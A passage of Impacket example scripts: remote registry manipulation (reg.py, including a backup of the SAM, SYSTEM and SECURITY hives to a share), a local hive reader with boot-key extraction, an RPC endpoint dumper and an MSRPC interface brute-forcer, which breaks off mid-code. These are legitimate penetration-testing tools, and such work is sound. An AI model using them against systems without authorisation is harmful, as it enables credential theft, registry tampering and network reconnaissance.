KEY_WRITE (0x20006) if self.__options.v is None: # Try to create subkey subKeyCreate = subKey subKey = '\\'.join(subKey.split('\\')[:-1]) ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) # Should I use ans2? ans3 = rrp.hBaseRegCreateKey( dce, hRootKey, subKeyCreate, samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY ) if ans3['ErrorCode'] == 0: print('Successfully set subkey %s' % ( keyName )) else: print('Error 0x%08x while creating subkey %s' % ( ans3['ErrorCode'], keyName )) else: # Try to set value of key ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) dwType = getattr(rrp, self.__options.vt, None) if dwType is None or not self.__options.vt.startswith('REG_'): raise Exception('Error parsing value type %s' % self.__options.vt) #Fix (?) for packValue function if dwType in ( rrp.REG_DWORD, rrp.REG_DWORD_BIG_ENDIAN, rrp.REG_DWORD_LITTLE_ENDIAN, rrp.REG_QWORD, rrp.REG_QWORD_LITTLE_ENDIAN ): valueData = int(self.__options.vd) else: valueData = self.__options.vd ans3 = rrp.hBaseRegSetValue( dce, ans2['phkResult'], self.__options.v, dwType, valueData ) if ans3['ErrorCode'] == 0: print('Successfully set key %s\\%s of type %s to value %s' % ( keyName, self.__options.v, self.__options.vt, valueData )) else: print('Error 0x%08x while setting key %s\\%s of type %s to value %s' % ( ans3['ErrorCode'], keyName, self.__options.v, self.__options.vt, valueData )) def delete(self, dce, keyName): hRootKey, subKey = self.__strip_root_key(dce, keyName) # READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY should be equal to KEY_WRITE (0x20006) if self.__options.v is None and not self.__options.va and not self.__options.ve: # Try to delete subkey subKeyDelete = subKey subKey = '\\'.join(subKey.split('\\')[:-1]) ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) # Should I use ans2? try: ans3 = rrp.hBaseRegDeleteKey( dce, hRootKey, subKeyDelete, ) except rpcrt.DCERPCException as e: if e.error_code == 5: #TODO: Check if DCERPCException appears only because of existing subkeys print('Cannot delete key %s. Possibly it contains subkeys or insufficient privileges' % keyName) return else: raise except Exception as e: logging.error('Unhandled exception while hBaseRegDeleteKey') return if ans3['ErrorCode'] == 0: print('Successfully deleted subkey %s' % ( keyName )) else: print('Error 0x%08x while deleting subkey %s' % ( ans3['ErrorCode'], keyName )) elif self.__options.v: # Delete single value ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) ans3 = rrp.hBaseRegDeleteValue( dce, ans2['phkResult'], self.__options.v ) if ans3['ErrorCode'] == 0: print('Successfully deleted key %s\\%s' % ( keyName, self.__options.v )) else: print('Error 0x%08x while deleting key %s\\%s' % ( ans3['ErrorCode'], keyName, self.__options.v )) elif self.__options.ve: ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=READ_CONTROL | rrp.KEY_SET_VALUE | rrp.KEY_CREATE_SUB_KEY) ans3 = rrp.hBaseRegDeleteValue( dce, ans2['phkResult'], '' ) if ans3['ErrorCode'] == 0: print('Successfully deleted value %s\\%s' % ( keyName, 'Default' )) else: print('Error 0x%08x while deleting value %s\\%s' % ( ans3['ErrorCode'], keyName, self.__options.v )) elif self.__options.va: ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) i = 0 allSubKeys = [] while True: try: ans3 = rrp.hBaseRegEnumValue(dce, ans2['phkResult'], i) lp_value_name = ans3['lpValueNameOut'][:-1] allSubKeys.append(lp_value_name) i += 1 except rrp.DCERPCSessionError as e: if e.get_error_code() == ERROR_NO_MORE_ITEMS: break ans4 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) for subKey in allSubKeys: try: ans5 = rrp.hBaseRegDeleteValue( dce, ans4['phkResult'], subKey ) if ans5['ErrorCode'] == 0: print('Successfully deleted value %s\\%s' % ( keyName, subKey )) else: print('Error 0x%08x in deletion of value %s\\%s' % ( ans5['ErrorCode'], keyName, subKey )) except Exception as e: print('Unhandled error %s in deletion of value %s\\%s' % ( str(e), keyName, subKey )) def __strip_root_key(self, dce, keyName): # Let's strip the root key try: rootKey = keyName.split('\\')[0] subKey = '\\'.join(keyName.split('\\')[1:]) except Exception: raise Exception('Error parsing keyName %s' % keyName) if rootKey.upper() == 'HKLM': ans = rrp.hOpenLocalMachine(dce) elif rootKey.upper() == 'HKU': ans = rrp.hOpenCurrentUser(dce) elif rootKey.upper() == 'HKCR': ans = rrp.hOpenClassesRoot(dce) else: raise Exception('Invalid root key %s ' % rootKey) hRootKey = ans['phKey'] return hRootKey, subKey def __print_key_values(self, rpc, keyHandler): i = 0 while True: try: ans4 = rrp.hBaseRegEnumValue(rpc, keyHandler, i) lp_value_name = ans4['lpValueNameOut'][:-1] if len(lp_value_name) == 0: lp_value_name = '(Default)' lp_type = ans4['lpType'] lp_data = b''.join(ans4['lpData']) print('\t' + lp_value_name + '\t' + self.__regValues.get(lp_type, 'KEY_NOT_FOUND') + '\t', end=' ') self.__parse_lp_data(lp_type, lp_data) i += 1 except rrp.DCERPCSessionError as e: if e.get_error_code() == ERROR_NO_MORE_ITEMS: break def __print_all_subkeys_and_entries(self, rpc, keyName, keyHandler, index): index = 0 while True: try: subkey = rrp.hBaseRegEnumKey(rpc, keyHandler, index) index += 1 ans = rrp.hBaseRegOpenKey(rpc, keyHandler, subkey['lpNameOut'], samDesired=rrp.MAXIMUM_ALLOWED | rrp.KEY_ENUMERATE_SUB_KEYS) newKeyName = keyName + subkey['lpNameOut'][:-1] + '\\' print(newKeyName) self.__print_key_values(rpc, ans['phkResult']) self.__print_all_subkeys_and_entries(rpc, newKeyName, ans['phkResult'], 0) except rrp.DCERPCSessionError as e: if e.get_error_code() == ERROR_NO_MORE_ITEMS: break except rpcrt.DCERPCException as e: if str(e).find('access_denied') >= 0: logging.error('Cannot access subkey %s, bypassing it' % subkey['lpNameOut'][:-1]) continue elif str(e).find('rpc_x_bad_stub_data') >= 0: logging.error('Fault call, cannot retrieve value for %s, bypassing it' % subkey['lpNameOut'][:-1]) return raise @staticmethod def __parse_lp_data(valueType, valueData): try: if valueType == rrp.REG_SZ or valueType == rrp.REG_EXPAND_SZ: if type(valueData) is int: print('NULL') else: print("%s" % (valueData.decode('utf-16le')[:-1])) elif valueType == rrp.REG_BINARY: print('') hexdump(valueData, '\t') elif valueType == rrp.REG_DWORD: print("0x%x" % (unpack(' 1: print('') hexdump(valueData, '\t') else: print(" NULL") except: print(" NULL") elif valueType == rrp.REG_MULTI_SZ: print("%s" % (valueData.decode('utf-16le')[:-2])) else: print("Unknown Type 0x%x!" % valueType) hexdump(valueData) except Exception as e: logging.debug('Exception thrown when printing reg value %s' % str(e)) print('Invalid data') pass if __name__ == '__main__': # Init the example's logger theme logger.init() # Explicitly changing the stdout encoding format if sys.stdout.encoding is None: # Output is redirected to a file sys.stdout = codecs.getwriter('utf8')(sys.stdout) print(version.BANNER) parser = argparse.ArgumentParser(add_help=True, description="Windows Register manipulation script.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') subparsers = parser.add_subparsers(help='actions', dest='action') # A query command query_parser = subparsers.add_parser('query', help='Returns a list of the next tier of subkeys and entries that ' 'are located under a specified subkey in the registry.') query_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' ' HKU, HKCR.') query_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 'value name that is to be queried. If omitted, all value names for keyName are returned. ') query_parser.add_argument('-ve', action='store_true', default=False, required=False, help='Queries for the default ' 'value or empty value name') query_parser.add_argument('-s', action='store_true', default=False, help='Specifies to query all subkeys and value ' 'names recursively.') # An add command add_parser = subparsers.add_parser('add', help='Adds a new subkey or entry to the registry') add_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' ' HKU, HKCR.') add_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 'value name that is to be set.') add_parser.add_argument('-vt', action='store', metavar="VALUETYPE", required=False, help='Specifies the registry ' 'type name that is to be set. Default is REG_SZ. Valid types are: REG_NONE, REG_SZ, REG_EXPAND_SZ, ' 'REG_BINARY, REG_DWORD, REG_DWORD_BIG_ENDIAN, REG_LINK, REG_MULTI_SZ, REG_QWORD', default='REG_SZ') add_parser.add_argument('-vd', action='store', metavar="VALUEDATA", required=False, help='Specifies the registry ' 'value data that is to be set.', default='') # An delete command delete_parser = subparsers.add_parser('delete', help='Deletes a subkey or entries from the registry') delete_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' ' HKU, HKCR.') delete_parser.add_argument('-v', action='store', metavar="VALUENAME", required=False, help='Specifies the registry ' 'value name that is to be deleted.') delete_parser.add_argument('-va', action='store_true', required=False, help='Delete all values under this key.') delete_parser.add_argument('-ve', action='store_true', required=False, help='Delete the value of empty value name (Default).') # A copy command # copy_parser = subparsers.add_parser('copy', help='Copies a registry entry to a specified location in the remote ' # 'computer') #A save command save_parser = subparsers.add_parser('save', help='Saves a copy of specified subkeys, entries, and values of the ' 'registry in a specified file.') save_parser.add_argument('-keyName', action='store', required=True, help='Specifies the full path of the subkey. The ' 'keyName must include a valid root key. Valid root keys for the local computer are: HKLM,' ' HKU, HKCR.') save_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, help='Output UNC path the target system must export the registry saves to') # A special backup command to save HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY backup_parser = subparsers.add_parser('backup', help='(special command) Backs up HKLM\SAM, HKLM\SYSTEM and HKLM\SECURITY to a specified file.') backup_parser.add_argument('-o', dest='outputPath', action='store', metavar='\\\\192.168.0.2\share', required=True, help='Output UNC path the target system must export the registry saves to') # A load command # load_parser = subparsers.add_parser('load', help='Writes saved subkeys and entries back to a different subkey in ' # 'the registry.') # An unload command # unload_parser = subparsers.add_parser('unload', help='Removes a section of the registry that was loaded using the ' # 'reg load operation.') # A compare command # compare_parser = subparsers.add_parser('compare', help='Compares specified registry subkeys or entries') # A export command # status_parser = subparsers.add_parser('export', help='Creates a copy of specified subkeys, entries, and values into' # 'a file') # A import command # import_parser = subparsers.add_parser('import', help='Copies a file containing exported registry subkeys, entries, ' # 'and values into the remote computer\'s registry') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on ' 'target parameters. If valid credentials cannot be found, it will use the ones specified ' 'in the command line') group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication (128 or 256 bits)') group = parser.add_argument_group('connection') group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in ' 'the target parameter') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If omitted it will use whatever was specified as target. ' 'This is useful when target is the NetBIOS name and you cannot resolve it') group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port", help='Destination port to connect to SMB Server') if len(sys.argv) == 1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if options.target_ip is None: options.target_ip = remoteName if domain is None: domain = '' if options.aesKey is not None: options.k = True if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") regHandler = RegHandler(username, password, domain, options) try: regHandler.run(remoteName, options.target_ip) except Exception as e: #import traceback #traceback.print_exc() logging.error(str(e)) impacket-impacket_0_11_0/examples/registry-read.py000077500000000000000000000121661446174712300224000ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # A Windows Registry Reader Example # # Author: # Alberto Solino (@agsolino) # # Reference for: # winregistry.py # from __future__ import division from __future__ import print_function import sys import argparse import ntpath from binascii import unhexlify, hexlify from impacket.examples import logger from impacket import version from impacket import winregistry def bootKey(reg): baseClass = 'ControlSet001\\Control\\Lsa\\' keys = ['JD','Skew1','GBG','Data'] tmpKey = '' for key in keys: tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8]) transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ] syskey = '' for i in range(len(tmpKey)): syskey += tmpKey[transforms[i]] print(hexlify(syskey)) def getClass(reg, className): regKey = ntpath.dirname(className) regClass = ntpath.basename(className) value = reg.getClass(className) if value is None: return print("[%s]" % regKey) print("Value for Class %s: \n" % regClass, end=' ') winregistry.hexdump(value,' ') def getValue(reg, keyValue): regKey = ntpath.dirname(keyValue) regValue = ntpath.basename(keyValue) value = reg.getValue(keyValue) print("[%s]\n" % regKey) if value is None: return print("Value for %s:\n " % regValue, end=' ') reg.printValue(value[0],value[1]) def enumValues(reg, searchKey): key = reg.findKey(searchKey) if key is None: return print("[%s]\n" % searchKey) values = reg.enumValues(key) print(values) for value in values: print(" %-30s: " % value, end=' ') data = reg.getValue('%s\\%s'%(searchKey,value.decode('utf-8'))) # Special case for binary string.. so it looks better formatted if data[0] == winregistry.REG_BINARY: print('') reg.printValue(data[0],data[1]) print('') else: reg.printValue(data[0],data[1]) def enumKey(reg, searchKey, isRecursive, indent=' '): parentKey = reg.findKey(searchKey) if parentKey is None: return keys = reg.enumKey(parentKey) for key in keys: print("%s%s" %(indent, key)) if isRecursive is True: if searchKey == '\\': enumKey(reg, '\\%s'%key,isRecursive,indent+' ') else: enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ') def walk(reg, keyName): return reg.walk(keyName) def main(): # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.") parser.add_argument('hive', action='store', help='registry hive to open') subparsers = parser.add_subparsers(help='actions', dest='action') # A enum_key command enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key') enumkey_parser.add_argument('-name', action='store', required=True, help='registry key') enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)') # A enum_values command enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key') enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key') # A get_value command getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value') getvalue_parser.add_argument('-name', action='store', required=True, help='registry value') # A get_class command getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class') getclass_parser.add_argument('-name', action='store', required=True, help='registry class name') # A walk command walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down') walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() reg = winregistry.Registry(options.hive) if options.action.upper() == 'ENUM_KEY': print("[%s]" % options.name) enumKey(reg, options.name, options.recursive) elif options.action.upper() == 'ENUM_VALUES': enumValues(reg, options.name) elif options.action.upper() == 'GET_VALUE': getValue(reg, options.name) elif options.action.upper() == 'GET_CLASS': getClass(reg, options.name) elif options.action.upper() == 'WALK': walk(reg, options.name) reg.close() if __name__ == "__main__": main() impacket-impacket_0_11_0/examples/rpcdump.py000077500000000000000000000200511446174712300212610ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # DCE/RPC endpoint mapper dumper. # # Author: # Javier Kohen # Alberto Solino (@agsolino) # # Reference for: # DCE/RPC. # from __future__ import division from __future__ import print_function import sys import logging import argparse from impacket.http import AUTH_NTLM from impacket.examples import logger from impacket.examples.utils import parse_target from impacket import uuid, version from impacket.dcerpc.v5 import transport, epm from impacket.dcerpc.v5.rpch import RPC_PROXY_INVALID_RPC_PORT_ERR, \ RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ RPC_PROXY_RPC_OUT_DATA_404_ERR class RPCDump: KNOWN_PROTOCOLS = { 135: {'bindstr': r'ncacn_ip_tcp:%s[135]'}, 139: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'}, 443: {'bindstr': r'ncacn_http:[593,RpcProxy=%s:443]'}, 445: {'bindstr': r'ncacn_np:%s[\pipe\epmapper]'}, 593: {'bindstr': r'ncacn_http:%s'} } def __init__(self, username = '', password = '', domain='', hashes = None, port=135): self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__port = port self.__stringbinding = '' if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def dump(self, remoteName, remoteHost): """Dumps the list of endpoints registered with the mapper listening at addr. remoteName is a valid host name or IP address in string format. """ logging.info('Retrieving endpoint list from %s' % remoteName) entries = [] self.__stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remoteName logging.debug('StringBinding %s' % self.__stringbinding) rpctransport = transport.DCERPCTransportFactory(self.__stringbinding) if self.__port in [139, 445]: # Setting credentials for SMB rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) # Setting remote host and port for SMB rpctransport.setRemoteHost(remoteHost) rpctransport.set_dport(self.__port) elif self.__port in [443]: # Setting credentials only for RPC Proxy, but not for the MSRPC level rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) # Usually when a server doesn't support NTLM, it also doesn't expose epmapper (nowadays # only RDG servers may potentially expose a epmapper via RPC Proxy). # # Also if the auth is not NTLM, there is no way to get a target # NetBIOS name, but epmapper ACL requires you to specify it. rpctransport.set_auth_type(AUTH_NTLM) else: # We don't need to authenticate to 135 and 593 ports pass try: entries = self.__fetchList(rpctransport) except Exception as e: #raise # This may contain UTF-8 error_text = 'Protocol failed: %s' % e logging.critical(error_text) if RPC_PROXY_INVALID_RPC_PORT_ERR in error_text or \ RPC_PROXY_RPC_OUT_DATA_404_ERR in error_text or \ RPC_PROXY_CONN_A1_404_ERR in error_text or \ RPC_PROXY_CONN_A1_0X6BA_ERR in error_text: logging.critical("This usually means the target does not allow " "to connect to its epmapper using RpcProxy.") return # Display results. endpoints = {} # Let's groups the UUIDS for entry in entries: binding = epm.PrintStringBinding(entry['tower']['Floors']) tmpUUID = str(entry['tower']['Floors'][0]) if (tmpUUID in endpoints) is not True: endpoints[tmpUUID] = {} endpoints[tmpUUID]['Bindings'] = list() if uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18] in epm.KNOWN_UUIDS: endpoints[tmpUUID]['EXE'] = epm.KNOWN_UUIDS[uuid.uuidtup_to_bin(uuid.string_to_uuidtup(tmpUUID))[:18]] else: endpoints[tmpUUID]['EXE'] = 'N/A' endpoints[tmpUUID]['annotation'] = entry['annotation'][:-1].decode('utf-8') endpoints[tmpUUID]['Bindings'].append(binding) if tmpUUID[:36] in epm.KNOWN_PROTOCOLS: endpoints[tmpUUID]['Protocol'] = epm.KNOWN_PROTOCOLS[tmpUUID[:36]] else: endpoints[tmpUUID]['Protocol'] = "N/A" #print("Transfer Syntax: %s" % entry['tower']['Floors'][1]) for endpoint in list(endpoints.keys()): print("Protocol: %s " % endpoints[endpoint]['Protocol']) print("Provider: %s " % endpoints[endpoint]['EXE']) print("UUID : %s %s" % (endpoint, endpoints[endpoint]['annotation'])) print("Bindings: ") for binding in endpoints[endpoint]['Bindings']: print(" %s" % binding) print("") if entries: num = len(entries) if 1 == num: logging.info('Received one endpoint.') else: logging.info('Received %d endpoints.' % num) else: logging.info('No endpoints found.') def __fetchList(self, rpctransport): dce = rpctransport.get_dce_rpc() dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) #dce.bind(epm.MSRPC_UUID_PORTMAP) #rpcepm = epm.DCERPCEpm(dce) resp = epm.hept_lookup(None, dce=dce) dce.disconnect() return resp # Process command-line arguments. if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) parser = argparse.ArgumentParser(add_help = True, description = "Dumps the remote RPC enpoints information via epmapper.") parser.add_argument('target', action='store', help='[[domain/]username[:password]@]') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('connection') group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If ' 'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS ' 'name and you cannot resolve it') group.add_argument('-port', choices=['135', '139', '443', '445', '593'], nargs='?', default='135', metavar="destination port", help='Destination port to connect to RPC Endpoint Mapper') group = parser.add_argument_group('authentication') group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) # Print the Library's installation path logging.debug(version.getInstallationPath()) else: logging.getLogger().setLevel(logging.INFO) domain, username, password, remoteName = parse_target(options.target) if domain is None: domain = '' if password == '' and username != '' and options.hashes is None: from getpass import getpass password = getpass("Password:") if options.target_ip is None: options.target_ip = remoteName dumper = RPCDump(username, password, domain, options.hashes, int(options.port)) dumper.dump(remoteName, options.target_ip) impacket-impacket_0_11_0/examples/rpcmap.py000077500000000000000000000413521446174712300211000ustar00rootroot00000000000000#!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # # Copyright (C) 2023 Fortra. All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Description: # Scan for listening MSRPC interfaces # # This binds to the MGMT interface and gets a list of interface UUIDs. # If the MGMT interface is not available, it takes a list of interface UUIDs # seen in the wild and tries to bind to each interface. # # If -brute-opnums is specified, the script tries to call each of the first N # operation numbers for each UUID in turn and reports the outcome of each call. # # This can generate a burst of connections to the given endpoint! # # Authors: # Catalin Patulea # Arseniy Sharoglazov / Positive Technologies (https://www.ptsecurity.com/) # # TODO: # [ ] The rpcmap.py connections are never closed. We need to close them. # This will require changing SMB and RPC libraries. # from __future__ import division from __future__ import print_function import re import sys import logging import argparse from impacket.http import AUTH_BASIC from impacket.examples import logger, rpcdatabase from impacket.examples.utils import parse_credentials from impacket import uuid, version from impacket.dcerpc.v5.epm import KNOWN_UUIDS from impacket.dcerpc.v5 import transport, rpcrt, epm from impacket.dcerpc.v5.rpcrt import DCERPCException from impacket.dcerpc.v5.transport import DCERPCStringBinding, \ SMBTransport from impacket.dcerpc.v5 import mgmt from impacket.dcerpc.v5.rpch import RPC_PROXY_CONN_A1_401_ERR, \ RPC_PROXY_INVALID_RPC_PORT_ERR, RPC_PROXY_HTTP_IN_DATA_401_ERR, \ RPC_PROXY_CONN_A1_0X6BA_ERR, RPC_PROXY_CONN_A1_404_ERR, \ RPC_PROXY_RPC_OUT_DATA_404_ERR class RPCMap(): def __init__(self, stringbinding='', authLevel=6, bruteUUIDs=False, uuids=(), bruteOpnums=False, opnumMax=64, bruteVersions=False, versionMax=64): try: self.__stringbinding = DCERPCStringBinding(stringbinding) except: raise Exception("Provided stringbinding is not correct") # Empty network address is used to specify that the network address # must be obtained from NTLMSSP of RPC proxy. if self.__stringbinding.get_network_address() == '' and \ not self.__stringbinding.is_option_set("RpcProxy"): raise Exception("Provided stringbinding is not correct") self.__authLevel = authLevel self.__brute_uuids = bruteUUIDs self.__uuids = uuids self.__brute_opnums = bruteOpnums self.__opnum_max = opnumMax self.__brute_versions = bruteVersions self.__version_max = versionMax self.__msrpc_lockout_protection = False self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__dce = self.__rpctransport.get_dce_rpc() def get_rpc_transport(self): return self.__rpctransport def set_transport_credentials(self, username, password, domain='', hashes=None): if hashes is not None: lmhash, nthash = hashes.split(':') else: lmhash = '' nthash = '' if hasattr(self.__rpctransport, 'set_credentials'): self.__rpctransport.set_credentials(username, password, domain, lmhash, nthash) def set_rpc_credentials(self, username, password, domain='', hashes=None): if hashes is not None: lmhash, nthash = hashes.split(':') else: lmhash = '' nthash = '' if hasattr(self.__dce, 'set_credentials'): self.__dce.set_credentials(username, password, domain, lmhash, nthash) if username != '' or password != '' or hashes != '': self.__msrpc_lockout_protection = True def set_smb_info(self, smbhost=None, smbport=None): if isinstance(self.__rpctransport, SMBTransport): if smbhost: self.__rpctransport.setRemoteHost(smbhost) if smbport: self.__rpctransport.set_dport(smbport) def connect(self): self.__dce.set_auth_level(self.__authLevel) self.__dce.connect() def disconnect(self): self.__dce.disconnect() def do(self): try: # Connecting to MGMT interface self.__dce.bind(mgmt.MSRPC_UUID_MGMT) # Retrieving interfaces UUIDs from the MGMT interface ifids = mgmt.hinq_if_ids(self.__dce) # If -brute-uuids is set, bruteforcing UUIDs instead of parsing ifids # We must do it after mgmt.hinq_if_ids to prevent a specified account from being locked out if self.__brute_uuids: self.bruteforce_uuids() return uuidtups = set( uuid.bin_to_uuidtup(ifids['if_id_vector']['if_id'][index]['Data'].getData()) for index in range(ifids['if_id_vector']['count']) ) # Adding MGMT interface itself uuidtups.add(('AFA8BD80-7D8A-11C9-BEF4-08002B102989', '1.0')) for tup in sorted(uuidtups): self.handle_discovered_tup(tup) except DCERPCException as e: # nca_s_unk_if for Windows SMB # reason_not_specified for Samba 4 # abstract_syntax_not_supported for Samba 3 if str(e).find('nca_s_unk_if') >= 0 or \ str(e).find('reason_not_specified') >= 0 or \ str(e).find('abstract_syntax_not_supported') >= 0: logging.info("Target MGMT interface not available") logging.info("Bruteforcing UUIDs. The result may not be complete.") self.bruteforce_uuids() elif str(e).find('rpc_s_access_denied') and self.__msrpc_lockout_protection == False: logging.info("Target MGMT interface requires authentication, but no credentials provided.") logging.info("Bruteforcing UUIDs. The result may not be complete.") self.bruteforce_uuids() else: raise def bruteforce_versions(self, interface_uuid): results = [] for i in range(self.__version_max + 1): binuuid = uuid.uuidtup_to_bin((interface_uuid, "%d.0" % i)) # Is there a way to test multiple opnums in a single rpc channel? self.__dce.connect() try: self.__dce.bind(binuuid) except Exception as e: if str(e).find("abstract_syntax_not_supported") >= 0: results.append("abstract_syntax_not_supported (version not supported)") else: results.append(str(e)) else: results.append("success") if len(results) > 1 and results[-1] == results[-2]: suffix = results[-1] while results and results[-1] == suffix: results.pop() for i, result in enumerate(results): print("Versions %d: %s" % (i, result)) print("Versions %d-%d: %s" % (len(results), self.__version_max, suffix)) else: for i, result in enumerate(results): print("Versions %d: %s" % (i, result)) def bruteforce_opnums(self, binuuid): results = [] for i in range(self.__opnum_max + 1): # Is there a way to test multiple opnums in a single rpc channel? self.__dce.connect() self.__dce.bind(binuuid) self.__dce.call(i, b"") try: self.__dce.recv() except Exception as e: if str(e).find("nca_s_op_rng_error") >= 0: results.append("nca_s_op_rng_error (opnum not found)") else: results.append(str(e)) else: results.append("success") if len(results) > 1 and results[-1] == results[-2]: suffix = results[-1] while results and results[-1] == suffix: results.pop() for i, result in enumerate(results): print("Opnum %d: %s" % (i, result)) print("Opnums %d-%d: %s" % (len(results), self.__opnum_max, suffix)) else: for i, result in enumerate(results): print("Opnum %d: %s" % (i, result)) def bruteforce_uuids(self): for tup in sorted(self.__uuids): # Is there a way to test multiple UUIDs in a single rpc channel? self.__dce.connect() binuuid = uuid.uuidtup_to_bin(tup) try: self.__dce.bind(binuuid) except rpcrt.DCERPCException as e: # For Windows SMB if str(e).find('abstract_syntax_not_supported') >= 0: continue # For Samba if str(e).find('nca_s_proto_error') >= 0: continue # For Samba if str(e).find('reason_not_specified') >= 0: continue self.handle_discovered_tup(tup) logging.info("Tested %d UUID(s)", len(self.__uuids)) def handle_discovered_tup(self, tup): if tup[0] in epm.KNOWN_PROTOCOLS: print("Protocol: %s" % (epm.KNOWN_PROTOCOLS[tup[0]])) else: print("Procotol: N/A") if uuid.uuidtup_to_bin(tup)[: 18] in KNOWN_UUIDS: print("Provider: %s" % (KNOWN_UUIDS[uuid.uuidtup_to_bin(tup)[:18]])) else: print("Provider: N/A") print("UUID: %s v%s" % (tup[0], tup[1])) if self.__brute_versions: self.bruteforce_versions(tup[0]) if self.__brute_opnums: try: self.bruteforce_opnums(uuid.uuidtup_to_bin(tup)) except DCERPCException as e: if str(e).find('abstract_syntax_not_supported') >= 0: print("Listening: False") else: raise print() if __name__ == '__main__': # Init the example's logger theme logger.init() print(version.BANNER) class SmartFormatter(argparse.HelpFormatter): def _split_lines(self, text, width): if text.startswith('R|'): return text[2:].splitlines() else: return argparse.HelpFormatter._split_lines(self, text, width) parser = argparse.ArgumentParser(add_help=True, 